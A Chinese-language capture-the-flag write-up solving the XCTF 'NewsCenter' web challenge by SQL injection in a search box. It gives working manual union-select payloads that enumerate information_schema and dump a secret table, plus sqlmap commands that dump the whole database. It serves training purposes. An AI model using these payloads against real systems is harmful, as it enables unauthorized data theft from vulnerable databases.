NewsCenter xctf 攻防世界 web高手进阶区
题目描述

进入题目场景

从中看见有一处搜索框,搜索新闻初步判定为POST请求。此时我们可以考虑xss或sql注入。
xss注入:页面也是没有返回值,并且根据源码可以看出,js代码是没有被过滤的,但却利用失败,所以这里就不存在xss漏洞。

sql注入:(sqlmap自动和手动注入)
手动注入:
先判断出为字符注入,输入1'出现错误,然后输入1' and '1'='1回显正常,输入1"和1等都是回显正常。

然后判断其字段数,输入1' order by 3#1到3都是正常的,到4就发生错误,则判断出其字段数为3.

输入1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#查询当前数据库中的所有表名,发现2张表

查询表中的列名,输入1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

输入1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

flag应该在secret_table表中,其fl4g比较像flag,所以接着查询其字段值
输入1' union select 1,2,fl4g from secret_table#

得到flag。
sqlmap自动注入:
在其搜索栏上输入1,然后用burp对其抓包

将里面的request请求保存为1.text,然后使用sqlmap自动注入。
sqlmap使用时,要注意使用管理员来运行,Python2.7,建立的文本要放到sqlmap的目录下,才能执行相应命令,也可以在写命令时用绝对路径。
payload:sqlmap.py -r 1.txt --dbs

查数据库,发现存在POST注入,继续深入

查表,payload:sqlmap.py -r 1.txt -D news --tables

查列名,payload:sqlmap.py -r 1.txt -D news -T secret_table --columns

查字段,payload:sqlmap.py -r 1.txt -D news -T secret_table -C "fl4g" --dump

得到flag.
当然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag.
payload:sqlmap.py -r 1.txt -D news --dump


                
            
        
浙公网安备 33010602011771号